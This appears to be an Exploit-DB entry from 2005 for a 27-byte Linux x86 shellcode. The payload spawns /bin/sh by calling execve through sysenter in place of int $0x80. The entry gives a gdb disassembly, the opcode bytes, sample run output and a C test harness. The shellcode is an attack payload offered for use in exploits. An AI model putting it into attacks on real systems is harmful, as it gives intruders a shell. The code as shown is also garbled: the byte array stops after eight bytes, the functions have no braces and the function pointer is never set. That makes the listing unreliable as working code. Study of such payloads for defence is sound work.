linux/x86 /bin/sh sysenter Opcode Array Payload 27 Bytes

ID EDB-ID:13413
Type exploitdb
Reporter amnesia
Modified 2005-08-25T00:00:00


linux/x86 /bin/sh sysenter Opcode Array Payload 27 Bytes. Shellcode exploit for lin_x86 platform

 lnx_binsh3.c - v1 - 27 Byte /bin/sh sysenter Opcode Array Payload
 Copyright(c) 2005 c0ntex <>
 Copyright(c) 2005 amnesia <>

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Tested: fedora core 3 - c0ntex
        debian SID - amnesia

execve("/bin/sh") using sysenter from __kernel_vsyscall appose to int $0x80

(gdb) disas __kernel_vsyscall
Dump of assembler code for function __kernel_vsyscall:
0xffffe400 <__kernel_vsyscall+0>:       push   %ecx
0xffffe401 <__kernel_vsyscall+1>:       push   %edx
0xffffe402 <__kernel_vsyscall+2>:       push   %ebp
0xffffe403 <__kernel_vsyscall+3>:       mov    %esp,%ebp
0xffffe405 <__kernel_vsyscall+5>:       sysenter
0xffffe407 <__kernel_vsyscall+7>:       nop
0xffffe408 <__kernel_vsyscall+8>:       nop
0xffffe409 <__kernel_vsyscall+9>:       nop
0xffffe40a <__kernel_vsyscall+10>:      nop
0xffffe40b <__kernel_vsyscall+11>:      nop
0xffffe40c <__kernel_vsyscall+12>:      nop
0xffffe40d <__kernel_vsyscall+13>:      nop
0xffffe40e <__kernel_vsyscall+14>:      jmp    0xffffe403 <__kernel_vsyscall+3>
0xffffe410 <__kernel_vsyscall+16>:      pop    %ebp
0xffffe411 <__kernel_vsyscall+17>:      pop    %edx
0xffffe412 <__kernel_vsyscall+18>:      pop    %ecx
0xffffe413 <__kernel_vsyscall+19>:      ret
0xffffe414 <__kernel_vsyscall+20>:      add    %al,(%eax)
0xffffe416 <__kernel_vsyscall+22>:      add    %al,(%eax)
0xffffe418 <__kernel_vsyscall+24>:      add    %al,(%eax)
0xffffe41a <__kernel_vsyscall+26>:      add    %al,(%eax)
0xffffe41c <__kernel_vsyscall+28>:      add    %al,(%eax)
0xffffe41e <__kernel_vsyscall+30>:      add    %al,(%eax)
End of assembler dump.
(gdb) q

so we replace

int $0x80

instruction with

push   %ecx
push   %edx
push   %ebp
mov    %esp,%ebp

which does make the shellcode slightly larger  :/

 804807a:       51                      push   %ecx
 804807b:       52                      push   %edx
 804807c:       55                      push   %ebp
 804807d:       89 e5                   mov    %esp,%ebp
 804807f:       0f 34                   sysenter

 $ ./lnx_binsh3

 [-] Stack Pointer found -> [0xbffff648]
         [-] Size of payload egg -> [27]
	 [-] Payload Begin -> [0x804968c]
	 [-] Payload End   -> [0x80496b9]



 Calling: execve(/bin/sh), exit(0)

#include <stdio.h>

typedef char wikkid;

/* reduced shellcode size from 45 to 27 - amnesia */
wikkid oPc0d3z[] = "\x31\xc0\x31\xdb\x50\x68\x2f\x2f"

unsigned long grab_esp()
		__asm__("movl %esp,%eax");

int main(void)
	unsigned long delta;
	void (*pointer)();

	delta = grab_esp();

	fprintf(stderr, "\n[-] Stack Pointer found -> [0x%x]\n", delta);
	fprintf(stderr, "\t[-] Size of payload egg -> [%d]\n", sizeof(oPc0d3z)-1);


	while(pointer) {
		fprintf(stderr, "\t[-] Payload Begin -> [0x%x]\n", pointer);
		fprintf(stderr, "\t[-] Payload End   -> [0x%x]\n\n", pointer+27);


// [2005-08-25]